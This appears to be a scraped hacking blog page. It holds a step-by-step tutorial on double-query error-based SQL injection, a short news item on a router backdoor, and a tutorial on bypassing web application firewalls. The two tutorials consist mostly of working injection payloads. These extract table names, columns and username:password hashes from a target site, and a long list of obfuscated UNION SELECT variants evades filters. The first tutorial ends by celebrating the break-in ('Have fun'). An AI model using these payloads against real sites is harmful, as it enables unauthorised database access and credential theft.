<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12%2Band%2B&h=pAQE-qOsF&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select count(*),concat((select+concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)</blockquote>
</div>
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px;">
result 
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"duplicate entry tablename1' for key 1"</blockquote>
 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
so here again increase the limits value untill you get the table like auth,,user,,admin,,login etc</blockquote>
 
ok now suppose we have table name "user" so next step is to find columns of this table our command will be:- 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.site.com%2Findex.php%3Fid%3D-12%2Band%2B&h=BAQEv41hN&s=1" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select%0Acount(*),concat((select+concat(column_name)+from+information_schema.columns+where+table_name=<hex value of table>+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)</blockquote>
 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
result</blockquote>
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"Duplicate entry 'column name1' for key 1'</blockquote>
 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
again keep changing limits value untill you get columns like username,password</blockquote>
 
ok now we have columns username and password we need tha data inside the columns so our command will be:- 
 
 
Code: 
<a href="https://www.facebook.com/notes/sp4nksta/sql-injection-double-query-error-based-injection/224858304342379#" role="button" style="color: #3b5998; cursor: pointer; text-decoration: none;"></a> 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
<a href="http://www.site.com/index.php?id=-12+and+" rel="nofollow" style="color: #3b5998; cursor: pointer; text-decoration: none;" target="_blank">www.site.com/index.php?id=-12+and+</a>(select+1+from(select%0Acount(*),concat((select+concat(username,0x3a,password)+from+user+limit+0,1),floor(Rand(0)*2))a+from+information_schema.tables+group+by+a)b)</blockquote>
</div>
<div style="background-color: white; color: #333333; font-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 14px; line-height: 20px;">
result 
Code: 
<blockquote class="tr_bq" style="background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-size: 15px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
"Duplicate entry 'admin:3d145b6d4827e1f25994a3da418419e41' for key 1" </blockquote>
now you have user and pass you got fucked the site madly......Have fun</div>

Sql injection (double query eror based) Tutorial Step by step

Sql injection (double query eror based) Today i will teach you how can we use sql injection(double query) so for this first you need vu...

Backdoor Discovered In Netgear and Linkys Routers

<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd8y-rfIVJ80GeFiKjtBWteB_MAjbbEO2IOKNAA81-0Ur9_agmK0hCd8e1swOLoXoYY_MYN6l-HNRBsXGtPPjW5AOspzZlpEmOw8w30jGpNR8aXuzrUthlY4zLnxZgLXnyJbPNsspcZMo/s1600/wifibackdoor-640x390.jpg" /> 
 Now tell me, whos using  Linksys WAG200G  and Netgear routers? 
well,"A hacker has found a backdoor in the Linksys WAG200G router, that gives <a href="http://arstechnica.com/security/2014/01/backdoor-in-wireless-dsl-routers-lets-attacker-reset-router-get-admin/" style="background-color: white; color: #999999; font-family: Verdana, Geneva, sans-serif; font-size: 12px; line-height: 19.1875px; text-decoration: none;">access to the admin panel without authentication</a>. Further research shows that these devices are made by Sercomm, meaning that Cisco, Watchguard, Belkin and various others maybe affected as well. From the article: 'The backdoor requires that the attacker be on the local network, so this isn’t something that could be used to remotely attack DSL users. However, it could be used to commandeer a wireless access point and allow an attacker to get unfettered access to local network resources.'" 
 
source: http://it.slashdot.org/story/14/01/02/2314259/backdoor-discovered-in-netgear-and-linkys-routers?utm_source=slashdot&utm_medium=twitter

Backdoor Discovered In Netgear and Linkys Routers

Now tell me, whos using Linksys WAG200G and Netgear routers? well,"A hacker has found a backdoor in the Linksys WAG200G router, ...

SQL Injection Complex Waf bypassing

<img height="480" src="http://cdn.slidesharecdn.com/ss_thumbnails/bypassing-waf-110328064503-phpapp02-thumbnail-4.jpg?cb=1301313614" width="640" /> 
<h2 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 19px; font-weight: normal; margin: 0px;">
Assalamualaikum </h2>
 
Note: Before starting this topic, I want to clarify that I won't be covering on basic SQL Injection attacks. This article is meant for WAF /Filter bypassing during Injection. 
 
<h3 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 17px; font-weight: normal; margin: 0px;">
What is WAF?</h3>
WAF stands for Web Application Firewall. It is widely used nowadays to detect and defend SQL Injections and Cross Site Scripting (XSS) attacks. 
   
How does it Work?  
 
When WAF detects any malicious input from end user, It gives  403 Forbidden, 406 Not Acceptable or any Kind of Custom errors  
<img height="174" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjojiX-5IANgORF_zjSEXczNW3AFs2K9BpSdI5OmhyphenhyphenzI2ozBhxtaixa9HD4IDP5WlwBPHDORrdRhdD3OyOg3Ye1YYN1Os0HM3JRupckJN2fbK7FZmBLo_PXePKcllgj6A12P2SNvXaL4eQ/s640/1.png" width="640" /> 
<h3 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 17px; font-weight: normal; margin: 0px;">
What to do next?</h3>
 
So, what to do next? we cant do our further injection right?  
Well its time to use various techniques to bypass thing. Some of these techniques are mentioned below: 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Case Changing:</h4>
 Most of the Waf's only filter lowercase or higher-case keywords. We can easily evade that kind of wafs by using alternate case.  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
if union select is forbidden , we can always try UNION SELECT instead. And if both does not work, We can try our luck with using mixture of both. like UniOn seLeCt</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Using Comments</h4>
 SQL comments really help us in many cases. They play their important role in killing some Waf's Restrictions. e.g 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
                                            // , -- , --+ , #, -- - </blockquote>
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Inline Comments</h4>
 
Some WAF’s filter keywords like /union\sselect/ig We can bypass these filters by using inline comments most of the time 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 /*!union*/  /*!select*/ 1,2,3--</blockquote>
<img height="215" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLqp79qRE96tkMrmhETqWF_6nXF418c3k66_IdVJZqfJNwLGfTti31_Otl0lJ7DdHigbYXVjqQ32R-cpM7wR4NiMo5UpGxHn17OtbA8DQneb4jk0hsDCQrZk0PubnjkKq21rl7RBa9VsI/s640/2.png" width="640" /> 
Tip: Read SQLi Errors carefully. Sometimes they left error from which we can have idea that how waf is working on this site. 
 
Anyways, We were talking about Filtered Keywords. So it does not mean  that waf is only filtering union select. It may be filtering all SQL keywords like table_name, column_name etc 
So might need to apply these inline comments on those keywords as well. Example 
 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 /*!union*/ /*!select*/ 1,2,/*!table_name*/,4,5 /*!from*/ /*!information_schema.tables*/ /*!where*/ /*!table_schema*/=database()--</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Double use of Keywords</h4>
 
Sometimes WAF removes whole keyword from the query and execute it and throw errors 
In such cases, we can use keywords in this way 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
http://localhost/waf.php?id=1 UNunionION SELselectECT 1,2,3,4,5,6--</blockquote>
Anyways It totally depends upon the scenario. Im just giving a common Idea. Rest is upon you that how you use it. 
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Using Different types of Whitespaces</h4>
Sometime Waf may be filtering the whitespace we are using between keywords. We mostly use Spaces But space is not the only whitespace we can use in SQL injection. We have some other options as well 
  for example + .  
%20 is use for space, but we can try using one of these whitespaces . some examples are %09  %0A  %0B %0C %0D %A0 
 inurl:  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 union%0Bselect%0B1,2,3--</blockquote>
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Encoding</h4>
 
We can always try our luck with URL encode thing to bypass WAF. For example we can use  
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
union select 1,/*!table_name*/,3 from information_schema.tables where table_schema=database() 
 as   
 union%20select%201,%2f%2a%21table_name%2a%2f,3%20from%20information_schema.tables%20where%20table_schema%3Ddatabase%28%29</blockquote>
but sometime waf filter also filter % itself. So we have to use double URL encoding in that case 
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 union%2520select%25201,%2f%2a%21table_name%2a%2f%2520,3 from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529</blockquote>
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# Unexpected Input</h4>
 
This scenario is very rare that we have to use buffer overflow or give unexpected query /request  to trick WAF filters. 
for example: 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 
http://localhost/waf.php?id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,3,4,5--</blockquote>
 This thing only worked once for me. But knowledge is Power, may be you face any scenario that can be bypassed by using buffer overflow 
 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
# use all above mentioned techniques together </h4>
 
ah.. tried all those things but still its showing NOT ACCEPTABLE or FORBIDDEN. well its time to use all these above mentioned techniques combined. 
For example: you can use alternative cases with inline comments or obfuscation. 
 
<h4 style="background-color: white; color: #333333; font-family: 'Open Sans', serif, sans-serif; font-size: 16px; font-weight: normal; margin: 0px;">
#Some Common Union Select Solutions: </h4>
 
<blockquote class="tr_bq" style="background-color: white; background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9be9mneXbBIC4vTZCp-U33rtFsaF7telQi9xr-svoqzh3OR2bqxVtBoMM2zbFsZw5uVTq4NOCnLW6ECjblGnnjoEj-VMwCjb7nzIQZjVAK_KZz8oc3l_DdREOeEnwQ83alBYRdjoC4Qc/s1600/quotation-l.png); background-position: 0% 5px; background-repeat: no-repeat no-repeat; color: #777777; font-family: Verdana, Geneva, sans-serif; font-size: 13px; line-height: 1.6em; margin: 20px; padding-left: 40px;">
 %55nion(%53elect 1,2,3)-- - +union+distinct+select+ +union+distinctROW+select+ /**//*!12345UNION SELECT*//**/ /**//*!50000UNION SELECT*//**/ /**/UNION/**//*!50000SELECT*//**/ /*!50000UniON SeLeCt*/ union /*!50000%53elect*/ +#uNiOn+#sEleCt +#1q%0AuNiOn all#qa%0A#%0AsEleCt /*!%55NiOn*/ /*!%53eLEct*/ /*!u%6eion*/ /*!se%6cect*/ +un/**/ion+se/**/lect uni%0bon+se%0blect %2f**%2funion%2f**%2fselect union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A REVERSE(noinu)+REVERSE(tceles) /*--*/union/*--*/select/*--*/ union (/*!/**/ SeleCT */ 1,2,3) /*!union*/+/*!select*/ union+/*!select*/ /**/union/**/select/**/ /**/uNIon/**/sEleCt/**/ /**//*!union*//**//*!select*//**/ /*!uNIOn*/ /*!SelECt*/ +union+distinct+select+ +union+distinctROW+select+ uNiOn aLl sElEcT</blockquote>
 I hope you have enjoyed this article. Please give us your feedback. So that we maybe able to make things more clear for you next time . 
 
I learned comlplex waf bypassing to sqligods 
Credits to SQLI GOds for this tutorial

SQL Injection Complex Waf bypassing

Assalamualaikum Note: Before starting this topic, I want to clarify that I won't be covering on basic SQL Injection attacks. This ...

UNION Based SQL injection Tutorial

ERROR Based SQL Injection Tutorial

Sql injection (double query eror based) Tutorial Step by step

Backdoor Discovered In Netgear and Linkys Routers

SQL Injection Complex Waf bypassing

InfoSec